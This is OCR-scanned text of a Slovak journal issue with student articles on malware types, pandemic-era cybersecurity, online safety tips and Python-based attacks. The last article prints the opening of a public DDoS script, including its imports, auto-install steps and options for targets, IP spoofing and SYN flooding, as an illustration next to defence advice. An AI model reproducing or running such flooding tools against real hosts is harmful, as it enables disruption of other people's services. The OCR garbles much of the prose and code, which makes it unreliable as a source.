odstranovat’ zndme malvérové hrozby, ako sU trojske kone, adware a
spyware.M

Aké vyrazy je este potrebné poznat?

Spyware je d’alsim populdrnym pojmom v oblasti kybernetickej bezpecnosti. Je
to softvér, ktory sa implantuje do systému bez vedomia pouzivatela. Jeho hlavngm
Ucelom je zvycajne zhromazd'ovanie informdcii. Spyware moéze zhromazdovat
navyky prehliadania, stlacenie kldvesov alebo osobné informdcie. Adware je typ
spywaru, ktory doddava reklamy tam, kde by nemali byt, napriklad nekonecné
kontextové oknd a mnozstvo hypertextovych odkazov na kazdu navstivenu
webovu stranku.
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Ransomware je vefmi skodlivy program, ktory sa zameriava na konkrétny
systém a vydiera pouzivatela. Program informuje pouzivatela, ze uvolni stkromné
informdcie alebo ich zablokuje z ich dbélezitych aplikdcii alebo suborov, kgm
nezaplati vykupné, zvycajne vo forme kryptomeny. Vykupné mbze byt stovky az
tisice doldrov pre jednotlivcov a miliony pre korpordcie.

Trojske kone a Cervy su spbdsoby dorucovania skodlivych programov a kédov.
Tréjsky kon je malware maskovany ako legitimna aplikdacia. Cervy su programy,
ktoré infikuju systém a $iria sa sietami a ingmi pocitac¢mi pomocou réznych metdd,
napriklad e-mailu, okamzitych sprdv a programov typu peer-to-peer.

Potrebujete teda antivirus a antimalvér?

V idedInom pripade by ste mali dostat’ komplexné ochranné rieSenie na ochranu
podnikovej siete pocitacov a serverov, ktoré dokdze zabrdnit a neutralizovat
hrozby. Bez ohladu na to, ¢i sa o produkte tvrdi, ze je antivirusovy alebo anti-
malware, mali by ste skontrolovat’ rdmec pomenovani, aby ste sa ubezpedili, ze
produkt chrdni pred vsetkgmi typmi Skodlivého softvéru. Robi to mnoho
vyznamnych znaciek v oblasti kybernetickej bezpecnosti, a to aj vo svojich
najzakladanejsich balikoch. Antivirus sa javi ako mensi z dvoch bezpecnostnych
softvérov, tak pre¢o by ste potrebovali oba? Antimalvér sa zameriava na nové
hrozby, zatial o antivirus vas chrdani pred tradicngmi verziami, ako su Cervy a
phishingoveé Utoky, ktoré mézu stdle poskodit’ vase zariadenie. Tieto dva programy
sa navzdjom doplhaju antivirusovym softvérom navrhnutym na doplnenie
antivirusovej ochrany, pretoze prostredie kybernetickych hrozieb je coraz
sofistikovanejsie.

Antivirus povazujte za proaktivnu ochranu pred hrozbami, ktoré infikuju vase
zariadenie, zatial ¢o antimalvér korenuje a nici aktivovany malware. Mat’ obe
aplikdcie maximalizuje ochranu pred rastucou hrozbou Utokov Skodlivého softvéru.
Pretoze su kybernetické Utoky Coraz rozsirenejsie a sofistikovanejsie, antimalware
sa prispésobuje a chrdni. To vdak neobmedzuje potrebu antivirusovej ochrany.
Pretoze obidva programy bezia sucasne a je pri nich zaistené bezpecné
prehliadanie webu, budete v maximdlnej moznej miere chrdaneni pred hrozbami,
ktoré sa snazia preniknut do vasho zariadenia.

Zaver

Od stolnych pocitac¢ov a notebookov az po tablety a smartphony su vSetky nase
zariadenia zranitefné voci malvéru”? Kto by dostal na vyber, kto by nechcel
zabrdnit’ infekcii namiesto rieSenia ndsledkov? Samotny tradi¢ny antivirus tuto
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Ulohu nezvldda, o Com svedci pravidelny prud novinovych titulkov, ktoré informuju
o d’aldom Uspesnom kybernetickom Utokut. Co by ste mali robit, aby ste boli v
bezpeci? Aky druh softvéru pre kybernetickl bezpecnost - antivirusovy alebo
antimalvérovy - by sa mal rozhodnut’ pre rieSenie hrozieb, ktoré pozostdvaju zo
starych virusov a vznikajuceho skodlivého softvéru? Faktom je, ze tradi¢ny
antivirus sdm osebe nestaci, o com sved¢i pravidelny prud novinovych titulkov,
ktoré informuju o d’'alsom uUspesnom kybernetickom Utoku. Je nedostatocnd proti
vznikajucim hrozbdm zero-day, umoznuje ransomveéru uspesne uniest’ pocitace a
Uplne neodstranuje malware. Potrebny je pokrocily program kybernetickej
bezpecnosti, ktory je dostatocne flexibilny a inteligentny na predvidanie dnesnych
Coraz sofistikovanejsich hrozieb.

Pouzitd literatura

[1] KAROVIC, V. et al. Nasadenie virtualizaéného prostredia OpenStack na
vyucboveé Ucely: Cast’ 1. In Marketing science and inspirations . 2016. s. 43-52. .

[2] KAROVIC, V. et al. Nasadenie virtualiza¢ného prostredia OpenStack na
vyucboveé Ucely: Cast’ 2. In Marketing science and inspirations . 2016. s. 2-5. .

[3] KAROVIC, V. - VESELY, P. Vybrané bezpecnostné normy, standardy a
organizdcie pre podporu GDPR a testovania bezpecnosti. In Progresivne pristupy a
metoay zvysovania efektivnosti a vijkonnosti organizdcii [elektronicky dokument]
. KoSice: Slovenskd asocidcia procesného riadenia, 2018. s. 101-113. ISBN 978-80-
972984-1-8.

[4] KOCMAN, R. - LOHNISKY, J. Jak se brdnit virdm, spamu, dialerdm a spyware. .
Brno: CP Books, 2005. ISBN 978-80-251-0793-5.

[5] MATUSOVIC, M. et al. Protection of Competition - the Global Economic Crisis
VI.. Mukarov - Srbin: Lubo$ Janica, 2018. 190 s. ISBN 978-80-270-1037-0.

[6] PAWERA, R. - VESELY, P. Zneuzivanie osobnych udajov v praxi. In Aktudine
vyzvy prevenclie pocitacovej kriminality [elektronicky dokument]: zbornik
prispevkov z vedeckej konferencie s medzindrodnou ucastou konanej dria 27 .
Bratislava: Akadémia Policajného zboru v Bratislave, 2018. s. 127-134. ISBN 978-80-
8054-774-5.

[7] PERACEK, T. et al. Legislative aspects of custody of securities in the conditions
of the Slovak Republic. In Finance and sustainability [elektronicky dokument]:
Proceedings from the 2nd Finance and sSustainability Conference, Wroclaw 2078 .
Cham: Springer Verlag, 2020. s. 237-247. ISBN 978-3-030-34400-9.

38 http://www.manazerskainformatika.sk



|

ISSN 2729-8310, ro¢nik 1, ¢islo 2

[8] PETROWSKI, T. Bezpeci na internetu: pro vsechny. . Liberec: Dialog, 2014. ISBN
978-80-7424-066-9.

Manazérska Informatika

[9] PORADA, V. et al. Kybernetickd bezpecnost. 6. In Bezpecnostni veay : uvod do
teorie, metodologie a bezpecnostni terminologie . Plzen: Vydavatelstvi a
nakladatelstvi Ales Cenék, 2019. s. 160-182. ISBN 978-80-7380-758-0.

[10] SZOR, P. Pocitacové viry: analyza utoku a obrana. . Brno: Zoner Press, 2006.
ISBN 978-80-86815-04-6.

[11] VESELY, P. et al. An approach towards protection increase against trojans in

cloud. In Management in theory and practice [elektronicky dokument] . Praha:
Newton College, 2017. s. 173-183. ISBN 978-80-87325-15-5.

39 http://www.manazerskainformatika.sk



|

ISSN 2729-8310, ro¢nik 1, ¢islo 2

Manazérska Informatika

CO PLATILO PRE KYBERNETICKU BEZPECNOST
POCAS PANDEMIE 2020 A CO BUDE PLATIT POCAS
2021?

WHAT APPLIED TO CYBER SECURITY DURING THE 2020 PANDEMIC AND WHAT
WILL APPLY DURING 2021?

Barbora Ferencikova

Abstract
The aim of the article is to describe changes in the use of ICT during the pandemic
situation of COVID-19 and to describe emerging new technologies.

Key words: automation, remote work, security

Abstrakt
Ciefom ¢ldnku je popisat zmeny vo vyuzivani IKT pocas pandemickej situdcie
COVID-19 a popisat’ nastupujuce nové technoldgie.

KPucové slova: automatizdcia, vzdialend prdca, bezpecnost’

Uvod

Novy virus COVID 19 ovplyvnil svetové hospoddrstvo, kazdodenny Zivot a fudské
zdravie na celom svete a zmenil spésob, akym jednotlivci pracuju a komunikuju
obvyklgm spdsobom. Bez ohfadu na naliehavé riziko, ktoré virus predstavuje pre
l'udské zdravie, vSak tieto rychle zmeny priniesli prostredie, v ktorom sa dari
vSetkym hackerom, podvodnikom a spamerom.t?

O roku 2020 md&zeme hovorit’ ako o roku bojov, zmien a neistoty. Tento rok mdlo
kto predpovedal. VacsSina podnikatelov sa musela prispdsobit’ Uplne inému
pracovnému prostrediu s velfmi odliSngmi bezpecnostnymi potrebami. Aj ked’ sa
malokto bude chciet’ ohliadnut’ za rokom 2020, bude mat zdsadny vplyv na buduci
rok a d’alsie roky. Myslim si, Ze priemysel v oblasti kybernetickej bezpec¢nosti sa
bude tento rok este viac vyvijat’t®
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Vyuzivanie IKT

Sietovd prevdadzka suvisiaca s videokonferenciami, streamovacimi sluzbami,
spravodajskymi webmi a webovymi strdnkami elektronického obchodu sa prudko
zvysila a poskytovatelia komunika¢nych sluzieb zaznamendvaju dramaticky
zvysené zat'azenie sieti, pretoze viac fudi kazdy den pracuje, Studuje, zvacsuje a
streamuje z domuP],

Ndhly prechod na prdacu na dialku bol zdaleka jedngm z najvacsich rizik
kybernetickej bezpec¢nosti v roku 2020 a mdzeme ocakdvat, Ze to bude
pokracovat’ aj v roku 2021. Mnoho spolo¢nosti muselo rychlo prejst’ od podpory
niekolkych pracovnikov na dialku az k riadeniu takmer celej svojej pracovnej sily
vzdialene a to skutoc¢ne kladie velky déraz na tie spolocnosti, ktoré zaostali v
oblastiach ako su IT systémuy. Nevedeli rgchlo zabezpecdit’ presun zamestnancov na
online pracoviskd. Presun vsetkych zostdvajucich starsich systémov do Uloziska -
cloudu bude hlavnou prioritou v tomto roku 2021. Bude to tiez znamenat
sprievodnu investiciu do bezpe&nostnych rieSeni a procesov, ktoré znizia riziko
cloudovej infrastrukturyt.

Silnd kontrola pristupu bude jednou z najvacsich bezpecnostnych priorit v roku
2021. Bez zavedenia spravnych kontrol méze Uplne vzdialend pracovnd sila vytvorit’
viac prilezitosti na zneuzitie pocitacovymi zloCincami. Pre aktérov hrozieb je
jednoduchsie skryt’ podozrivu aktivitu, ked’ sa pracovnici prihlasuju z ovela Sirsej
skaly zariadeni a umiestneni a v neocbvyklych ¢asoch.

Vo vysledku bude pre podniky dblezitejSie ako kedykolvek predtym, aby boli
vyzbrojené silngmi kontrolami identity a pristupu, ktoré vyuzivaju pristup zalozeny
na riziku. Namiesto jednoduchej kontroly povereni sa pristup k citlivgm aktivam
podobd imigracnej kontrole na letisku, ktord zohladnuje mnozstvo réznych
prvkovee],

Vyvijajuca sa automatizdcia a loT

Automatizdcia a internet veci boli hlavngmi trendami poslednych niekolkych
rokov. Predpokladdm, Ze nastal ¢as sa plne venovat' loT aj v roku 2021. Pouzivanie
automatizovanych pripojenych strojov bolo predtym velkou prioritou v pripadoch
pouzitia, ked’ je drahé alebo nebezpecné posielat’” fudsky persondl, ako napr.
pouZzitie dronov na ulohy, ako je kontrola poruch plynovodov.

Do buducnosti predpokladdm, Zze vyuZzitie internetu veci a automatizdcie sa rozsiri
do d’alSich pripadov pouZzitia, pretoze bude vyhodnejsie udrziavat’ persondl v prdci
na dialku a v bezpeci. Okrem vplyvu pandémie sa vd’aka rozvoju technoldgii stala
internetovd siet’” ovela zivotaschopnejSou. Napriklad 5G poskytuje nielen ovela
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vyssie rychlosti prenosu ddt, ale tiez znizuje spotrebu energie. To znamend, ze
pripojené zariadenia mozu byt zostavené tak, aby boli mensie, efektivnejsie a
cenovo dostupnejsie. Zvysené pouzivanie pripojenych zariadeni znamend aj vacsie
zameranie na bezpecnost. Softvér zariadenia musi byt dobre zabezpeceny a
pripojenie musi byt’ riadené procesmi spravy pristupu.t”]

Vplyv na bezpecnostny priemysel

Zrychleny prechod na prdacu na dialku bude mat tiez velky vplyv na ndbor a
kariérne prilezitosti v nasom vlastnom priemysle. Ludia precestovali stovky
kilometrov za pracovngmi prilezitostami. Rok 2020 dokdzal, Ze v mnohych
oblastiach, najma& v kybernetickej bezpecnosti, je nevyhnutnostou.

Aj ked je pandémia COVID-19 konec¢ne v spdtnom zrkadle a protipandemické
opatrenia su ucinné, je nepravdepodobné, ze sa tento trend obrdti. Ocakdvam, ze
sa v priebehu najblizsich rokov zacnu technologické miesta ako Bratislava alebo
Kosice byt menej osidlené, pretoze miesto bude ¢oraz menej dblezité, ked’ze prdca
sa bude viac robit’ z domu. Spominame prdve Bratislavu a KoSice, ked’ze tam sidli
vacsina centrdlnych firiem na Slovensku.

Jednotlivci budy mat tiez vacsSiv slobodu v kariére bez toho, aby boli
obmedzovani podfa miesta, €o je pre bezpecnostny priemysel urcite prinosom.
Predajcovia a organizdcie budu moct’ najat’ to najlepsie v odbore, pricom budu
ovela menej limitovani svojou geografickou polohou.

Niektoré spolocnosti v bezpe¢nostnom sektore uz pred pandémiou vykondvali
Uplne vzdialené operdcie. Aby tdto prdaca fungovala, potrebuju firmy velmi silnu
etiku spolo¢nosti, solidne komunikacné stratégie a spolahlivé metriky na meranie
pokroku. Mnoho bezpecnostnych Uloh bude tiez vyzadovat spolahlivé a
vysokorychlostné pripojenie na internet. DIhodobd prdca na dialku si vyzaduje
disciplinu a sustredenie, takze tieto vlastnosti budu pri prijimani zamestnancov stdle
doélezitejSie .

Ako bojovat proti domdcim kybernetickym hrozbdm

Za normdilnych okolnosti je v ,Standardnom® kanceldrskom prostredi IT
oddelenie a vSetky druhy sluzieb a produktov, ktoré su uréené na ochranu
podnikovych sieti pred vonkajsimi hrozbami, tym pddom je vSetko zabezpelenét®.,
Na druhej strane fudia, ktori si prinesu vSetku svoju prdcu domov, bez toho, aby
vSetky tieto produkty chrdnili, zvysuju riziko niekolkymi spdsobmi. Po prvé, domdaca
siet’ nie je chranend tak dobre ako siet” organizdcie. Okrem toho ,otvorenie dveri®
do vasej domdcej siete teraz tiez otvdra dvere do vasej organizdciel’. Druhd strana
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moze vyuzit Vasu domdcu siet” a zneuzit’ Vase sukromie, popripade prihlasovacie
udaje do internetbankingut®l,

Zdaver

Protipandemické opatrenia na celom svete vyvolali potrebu zmien chdpania
a vyuzivania IKT- zmena vyuzivania IKT z podniku smerom na vyuzZivanie IKT
v domdcom prostredi zamestnanca - homeoffice. Pochopenie novych hrozieb ale
aj prilezitosti v podobe automatizdcie, vzdialenej prdce azmeny vnimania
bezpecnosti zmenia pravdepodobne svet buducnosti uz Coskoro a s trvalgmi
nasledkami.
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AKO SA EFEKTIVNE CHRANIT PRED INTERNETOVYMI
NASTRAHAMI

HOW TO EFFECTIVELY PROTECT YOURSELF FROM TRAPS ON THE INTERNET
Veronika Gajarska

Abstract

Nowadays, antivirus protection is not enough, so we must follow certain security
principles when visiting the Internet. Antivirus is a type of computer program that is
designed to detect and remove computer viruses that have infected your
computer. They can also block new viruses from infecting your system. Most of
these applications can also clean any form of malware from your system, not just
viruses. There are many factors to consider when choosing the best antivirus
solution for your needs. Because the security of your data, your digital identity, and
the security of your financial transactions are at stake, it pays to invest some time
in evaluating each antivirus product.

Key words: Antivirus software, virus, malware, online shopping, Internet security,

Abstrakt

V dnesnej dobe nie je antivirusovd ochrana dostacujuca, preto pri ndvsteve
internetu  musime dodrziavat urcité zdsady bezpecnosti. Antivirus je typ
pocitacového programu, ktory je navrhnuty na vyhladanie a odstrdnenie
pocitacovych virusov, ktoré infikovali vas pocita¢. Mbzu tiez blokovat’ infikovanie
vasho systému novymi virusmi. Vacsina tychto aplikdcii dokdze z vasho systému
vycistit’ aj akukolvek formu skodlivého softvéru (malware), nielen virusy. Pri vybere
najlepsieho antivirusového rieSenia pre vase potreby musite brat’ do Uvahy vela
faktorov. Ked’ze je v hre bezpec¢nost vasich udajov, vasa digitdlna identita a
bezpecnost’ financnych transakcii, oplati sa investovat’ nejaky ¢as do posudenia
kazdého antivirusového produktu.

KPu€ové slovd: Antivirusovy softvér, virus, malware, online nakupovanie,
internetovd ochrana
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Uvod

Ak vo velkej miere vyuzivate internet, e-mail, chatovanie a d’alsie webové sluzby,
je dblezité zvdzit rieSenie, ktoré obsahuje softvér a technoldgie na internetové
zabezpecenie, vd’aka ktorgm modzu byt vase online aktivity ovela bezpecnejsie. V
poslednych rokoch, no najmé& v poslednych mesiacoch, doslo k obrovskému
ndarastu online ndkupov. Online obchody ponukaju spotrebitefom viac moznosti
vyberu produktov, ale i sluzieb. Kamenné obchody ponukaju taktiez moznost’
nakupovania cez internet, aby zostali konkurencieschopné a udrzali si tak nejaky
podiel na online trhu.te!

Po prichode pandémie Covid-19 stdtisice obchodov preslo na internetovy preda;.
S ndrastom aktivity spotrebitefov na internete, sa bohuzial zvySila aj snaha
poc&itacovych zlogincov zamerat sa na tych neopatrnych a neinformovanycht’l. Co
malo za ndsledok obrovské straty tych, ktori sa stali obetami takychto
bezohladnych cinov.

Vyber sprdavneho antivirusového softvéru

Pri vybere toho spravneho antivirusového softvéru, by ste sa mali zamerat’ na
viaceré kritérig, ktoré vam pomézu s jeho vyberom. Jednym z najddlezitejSich
kritérii je spolahlivost. Aj to najdokonalejsie antivirusové rieSenie sa mdze ukazat
ako absolutne zbytocné, ak je v konflikte s niektorym zo softvérov, ktory je
spusteny vo vasom pocitaci. Ak tieto konflikty vedu k zlej funk&nostit
antivirusového softvéru alebo do¢asnému pozastaveniu procesov antivirusovej
ochrany, mohlo by to uskodit' vém, ale aj vasim udajom.

Dalsim kritériom, ktoré treba zohladnovat je pouzZitelnost antivirusového
programu. Ak si kazdodennd prevddzka antivirusového rieSenia vyzaduje Specidine
zrucnosti, mdéze to byt pre mnohych pouzivatelov nepraktické. Akykolvek
antivirusovy produkt, ktorého pouzitie je neprijemné, kladie uzivatelovi zlozité
otdzky alebo ho potrebuje, aby urobil zlozité rozhodnutia, je tu pravdepodobnost’,
Ze sa zvysia ,chyby operdatora®. V niektorych pripadoch, ak je antivirusovy softvér
prilis ndro¢ny na chod, mdze ho pouzivatel proste deaktivovat.

Tretim kritériom, ktorému je potrebné sa dostatocne venovat pri vybere
vhodného antivirusového programu, je komplexnost poskytovanej ochrany.
Antivirusové rieSenie by malo poskytovat’ nepretrzitd ochranu vSetkych
pocitacovych domén, vsetk(ch typov suborov a vsetkych sietovych prvkov, ktoré
by mohli byt predmetom napadnutia pocita¢ového virusu alebo iného skodlivého
softvéru. Program by mal byt schopny detegovat’ skodlivy kéd a taktiez chrdnit
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vSetky kandly alebo vstupné body do pocitaca - vratane e-mailov, internetu, FTP a
dalsich.B!

V neposlednom rade je ddlezité sa sustredit’ na kritérium, ktorgm je kvalita
poskytovanej ochrany. Ci uZ potrebujete antivirusové ochranné riesenie pre Apple
alebo Windows, kazdy musi byt schopny pracovat’ v agresivnom prostredi, ktoré
sa neustdle meni. Nové pocitacové virusy, Cervy ¢ malwary, ktoré moézu byt ovela
zlozitejSie ako tie predtym zndmel™, mézu zahrnat nové spdsoby, ako sa vyhnut’
detekcii antivirusovych programov. Kvalita ochrany ciastocne zdvisi od d’alsich
faktorov, ako je efektivnost’ procesov detekcie malwaru, frekvencia a pravidelnost’
aktualizdcii, schopnost’ odstranovat’ infekcie &i efektivnost’ pri poskytovani ochrany
bez vyrazného vplyvu na vykon zariadenia.

Bezpecnostné zdsady

Pre efektivnu internetovu bezpecnost’ ndm nestadi iba spolahlivy antivirusovy
program, ale je potrebné dodrziavat’ urcité zdsady, ktoré ndm pomaozu pritom ,aby
sme zostali chrdneni voci internetovym vonkajsim vplyvom. Zatial ¢o internetové
podvody a kyberneticki zloc¢inci prekvitaju, nemusi to nevyhnutne znamenat, ze sa
musite Uplne vyhybat online nakupovaniu. Bezpecné online nakupovanie je mozné
za predpokladu, ze budete dodrziavat’ preventivne opatrenia a budete postupovat’
podla uzito¢nych tipov a rdd pre internetovu bezpecnost™. Dodrziavanim tychto
nasledujucich bodov budete méct’ nielen bezpecne nakupovat ale aj vykondvat
iné online aktivity.t®

Ako prvé sme do zoznamu uzito¢nych tipov zahrnuli bezpecné vyhtaddvanie na
internete. Pri vyhlfaddvani produktov, recenzii ¢i porovndvani cien jednotlivych e-
shopov pouzivame rbézne vyhladdvacie enginy, pricom riskujeme otvorenie
stranky, ktord méze byt infikovand. Takdto infikovand stranka nds mbze zaviest k
malwaru namiesto zamyslaného ciefa. Malware ndm moze v pouzivanom zariadeni
spustit’ pohromul), pripadne méze sluzit na ukradnutie nasich dat z pocitaca, ako
sU heslda a prihlasovacie udaje k réznym uctom. Pre vyhnutie sa takejto situdcie,
mobzeme pouzivat ndstroje antivirusovych softvérov, ktoré sluzia na overenie
odkazy, ¢i je nakazeny skodlivym virusom alebo softvérom, alebo je bezpecné na
tuto stranku vstupit’
Dalsim uZitocnym tipom ako neotvdrat infikované odkazy je zadat adresu URL do
adresového riadka v prehliadaci (5). Podvodnici, ktori posielaju phishingové e-maily
sa spoliehgju, ze otvorite odkaz z e-mailu, ktori vdas presmeruje na podvodnu
strankut™. Falo$nd stranka sa méze vizudine podobat’ na tu pravy, ale v skuto¢nosti
to nie je td& stranka, ktoru ste chceli navstivit'. Pri zaddvani prihlasovacich udajov na
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takuto stranku, ich v skutocnosti poskytujete podvodnikomt?, ktori mézu tieto Udaje
zneuZzit. Pre vacsiu bezpecnost, vzdy radsej zadajte pozadovanu adresu stranky
do adresového riadku, tym si budete isty, Ze navstevujete autenticky stranku.
Musite vykonat’ viac ukonov, no trochu viac Usilia, vds mdze zachrdnit’ pred
zneuZzitim vasich udajov.l'?

Pre prihldsenie do vasim online Uctov, nepouzivajte verejné Wi-Fi pripojenie. Na
verejnych priestranstvdach, ako su kaviarne, hotely & ndkupné centrd, poskytuju
svojim zakaznikom bezplatné Wi-Fi pripojenie na internet. Takdato sluzba je vhodnd
na prezeranie si internetu, sprdv pripadne kontrolu e-mailov, no pouzivanie
verejného pripojenia na prihlasovanie sa do sukromnych online Uctov je
obrovskym bezpecnostngm rizikom. Pre pristup na internet na verejnych
priestranstvach, vzdy radsej pouzivajte mobilné pripojenie na vasich mobilnych
zariadeniach. Uchrdanite tak svoje Udaje pred kybernetickgmi zlo¢incami.l'”

Dalsim tipom ako sa ubrdanit pred zneuZitim vasich ddét, je pouzivanie
jednorazovej virtudinej karty pre platbu na internete. Kyberneticki zloc¢inci dokdzu
pouzivat sofistikované techniky a malwary, ktoré ukradnu udaje z vasej platobnej
karty. Niektoré banky ponukaju moznost’ generdcie ndhodného Cisla platobnej
karty, ktoré sa vzdy generuje iné. Staci o to poziadat cez mobilny aplik&ciu
prislusnej banky, ktord vydala vasu platobnu kartu. Toto uchrdni vase financie pred
podvodnikmi, ked’Zze ukradnuté udaje boli uz raz pouzité.

V neposlednom rade tu mdme spravovanie a ochrana vasich hesiel. Pouzivanie
silngch hesiel a pouzivanie iného hesla pre kazdy online Ucet je jednou z
najddlezitejSich veci, ktoré mdzete urobit’ pre bezpecie na internete. Zapamatanie
si tofkych réznych hesiel, najmé& ked” sa skladaju z mnohych pismen, Cisel a
Specidlnych znakov, mbzZe byt ndrocné. Preto je mozné pouzit’ spravcu hesiel, ktory
vadm pomobze uchovavat silné hesld do réznych Uctov. Uzitocny sprdavca hesiel
zasifruje vase hesld, ktoré by inak boli vo formdte obycajného textu. Niektoré
antivirusové a ochranné internetové softvéry zahfnaju spravu hesiel a funkcie
zabezpecenia hesla.™

Zdaver

Ochrana je komplexnejsia ako len vyber spravneho a vhodného antivirusového
softvéru pre nds a dodrziavanie zdsad ochrany nasich udajov. Najzdsadnejsim
pravidlom ochrany je silné heslo, ktoré nepouzivame na kazdej stradnke rovnaké.
Vd'aka sprdvcovi hesiel mézeme mat’ mnoho silngch hesiel a nemusime si ich
pamatat. Vela odbornikov ma ing nédzor na dizku hesla, no myslim, ze kazdy sa
zhodne na tom, Ze je potrebné pozivat heslo, ktoré obsahuje vSetky druhy znakov.

48 http://www.manazerskainformatika.sk



|

ISSN 2729-8310, ro¢nik 1, ¢islo 2

Manazérska Informatika

Dodrziavanim délezitych zdsad ochrany nasich udajov a pouzivanim dostatocne
silngch hesiel chranime nase udaje pred moznymi kybernetickymi ndstrahami
internetu.
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UTOKY V JAZYKU PYTHON - AKO IM PREDCHADZAT?

PYTHON CYBER ATTACKS - HOW TO PREVENT THEM?
Lukds Bockaj

Abstract

The aim of this article is to acquaint the reader with the usability of the python
programming language in attacks in the online environment and how to prevent
them.

Key words: python, programming language, hacker attack, cybercrime

Abstrakt
Cielom tohto ¢ldnku je obozndmit’ Citatela s pouzZitelnostou programovacieho
jazyka python pri Utokoch v online prostredi a ako im predchdadzat’.

KPu€ové slovd: python, programovaci jazyk, hackersky utok, kybernetickd
kriminalita

Uvod

Podla vysledkov posledného prieskumu portalu Stack Overflow je Python
najrychlejSie sa rozvijajuci programovaci jazyk. V popularite uz prekonal aj C#.
Python md vsetky atributy profesiondlneho programovacieho jazyka, umoznuje
rgchly vgvoj aplika¢ného koédu, podporuje objektovo orientované programovanie
a je vynikajuci pre zaciato¢nikov. Podstatnou mierou k popularite Pythonu
prispieva cistota a jednoduchost” v syntaxe a obrovské mnozstvo dostupnych
funkciit?,

Za poslednych pdr rokov zaznamenal Python 0zZzasny ndrast. V priebehu
poslednych rokov sa Python ukdzal ako populdrny a vSestranny programovaci
jazyk. Velky popularitu md medzi odbornikmi na umelld inteligenciu a
profesiondinymi programatormi a v nadndrodnych korpordcidch. Ziskal si priazen

aj v oblasti kybernetickej kriminalityt,
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Python a internetovd kriminalita

Rastuca popularita Pythonu medzi hackermi by nemala byt prekvapenim.
Python je sice jednoduchy, ale vgkonny programovaci jazyk. Utocnikovi umozniuje
s malym Usilim vytvorit’ skript s menej ako 100 riadkami. Aj ked’ tento proces
zneSkodnite, za¢ne sa sdm zdlohovat, vytvori tzv. ,zadné vratka®, a bude nad'alej
menit’ komunikdciu interne i s externymi servermi a nastavi prikazy a riadiace
odkazy”. Uto¢nik dokonca nemusi napfsat’ vlastny kod. Skripty backdoor v
Pythone sa daju fahko dohladat’ na internete - vyhraddvac Github ich vyhfadd viac
ako 200. Studia spolo¢nosti Imperva potvrdzuje, Ze pri vacsine Utokov, ktoré sa
odohrali na globdlnej urovni, bolo 70 % realizovanych s akymsi ndstrojom
zaloZzenym na Pythone a najmenej pri tretine tychto pripadov bol napisany uto¢ny
kod v jazyku Python.

Obrdzok 1 Vijvoj popluarity programovacich jazykov

java

6%

2012 2014 2016 2018

Zdroj . https,//stackoverflow.blog,/2017,/09/06/incredible-growth-python,/
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Podfla spolo¢nosti Imperva (spolo¢nost’ poskytujuca softvér a sluzby v oblasti
kybernetickej bezpecnosti), viac ako tretina kazdodennych utokov, ktoré
spolo¢nost’ chrdni, pochddza zo Skodlivého kédu alebo ndstroja, kédovaného v
jazyku Python(,

Ako sa chranit ?
Skriptovacie Utoky casto obchddzaju tradi¢nd ochranu. Brana firewall napriklad
pouziva schvdlené sietovej adresy na zistenie, Ci je server bezpecny, ale nedokdze
presne overit, ¢o konkrétne sa medzi dvoma ,koncami“ prendsa. Vysledkom je, ze
skripty budu jednoducho schvdlené podfa nastavenych pravidiel brany firewall.
Pokial'ide o EDR (Endpoint Detection and Response), prenos zo skodlivych skriptov
je velmi podobny prenosu vytvdranému bezngmi ndstrojmi na spravu. Neexistuje
jasny pozndvaci znak, ktory by obranné mechanizmy EDR detekovali.t*!
Efektivnym spbdsobom ochrany pred skriptovacimi Utokmi je nastavenie pristupu
nulovej ddéveryhodnosti zaloZzeného na identite. V pristupe zalozenom na
softvérovej identite nie sU zdsady zalozené na sietovych adresdch, ale skér na
jedineCnej identite pre kazdy proces. Akykolvek pristup zaloZzeny na sietovych
adresdch nemdze adekvdatne chranit’ ciel utoku. Sietové adresy sa casto menia,
najma v prostrediach s automatickgym Skdalovanim, ako je napriklad cloudt®,
Vd'aka pristupu zalozenému na identite méze administrator vytvorit” zdsady,
ktoré konkrétne stanovia, ktoré zariadenia, programy a skripty mézu navzdjom
komunikovat' - vSetko ostatné je predvolene zablokované. Visledkom je, ze
skodlivé skripty budu automaticky blokované pri vytvarani ,zadnych vratok®, a
umiestiovani skodlivého softvérut®l,

Vzorovy priklad zdskodnickej aplikdcie v Python

Platforma GitHub je pomerne dobre zndma ako platforma pre vgvojdrov rézynch
druhov aplikdcii. Nemalo aplikdcii je tam zalozenych na programovacom jazyku
Python. Pre znalého programdtora je fahké ndjst kody pre napisanie Utocnej
aplikacie. Napriklad uzivatel platformy machlel® tam md zdrojovy koéd pre DDoS
Utok (nebudeme uvddzat cely kod):
#!/usr/bin/env python?2

version="2.0'

title =™

SN N S DR
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DDos python script | Script used for testing ddos | Ddos attack
Author: _ T7hM1__

Github: http://github.com/t7hm1/pyddos

Version:!"+version+"

n

import os

import sys

import json

import time

import string

import signal

import httplib,urlparse
from random import *
from socket import *
from struct import *
from threading import *
from argparse import ArgumentParser,RawTextHelpFormatter

if os.name == "posix"
C = os.system('which pip")
if c == 256:
os.system('sudo apt-get install python-pip")

else:
pass

else:

print '[-] Check your pip installer’
try:

import requests,colorama

from termcolor import colored,cprint
except:
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if os.name == "posix"
os.system('sudo pip install colorama termcolor requests’)
sys.exit('[+] | have installed nessecary modules for you")
elif os.name =='nt"
os.sytem('c:\python27\scripts\pip.exe install colorama
requests termcolor”)
sys.exit('[+] | have installed nessecary modules for you')
else:
sys.exit('[-] Download and install nessecary modules’)
except Exception,e:
print '[-].e
if os.name =='nt"
colorama.init()

def main():
parser = ArgumentParser(
usage="/%(prog)s -t [target] -p [port] -t [number threads],
version=version,
formatter_class=RawTextHelpFormatter,
prog='pyddos’,
description=cprint(title,' white',attrs=['bold']),
epilog=""
Example:
/%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow
/%(prog)s -d www.domain.com -s 100 -Request
/%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0

"

)
options = parser.add_argument_group('options’,”")
options.add_argument('-
d' metavar='<ip|domain>',default=False,help='Specify your target such an ip or
domain name")
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options.add_argument(’-t',metavar="<float>',default=5.0,help='Set  timeout
for socket")
options.add_argument(-T' metavar="<int>',default=1000,help='Set  threads
number for connection (default = 1000)")
options.add_argument(’-p’, metavar="<int>' default=80,help='Specify port
target (default = 80)' + colored(’ |Only required with pyslow attack|’'red"))
options.add_argument(’-s’,metavar='<int>',default=100,help='Set sleep time
for reconnection’)
options.add_argument('-i’,metavar=<ip
address>' default=False,help='Specify spoofed ip unless use fake ip")
options.add_argument(’-Request’,action='store_true'help='Enable request
target’)
options.add_argument(’-Synflood',action='store_true' help="Enable synflood
attack”)
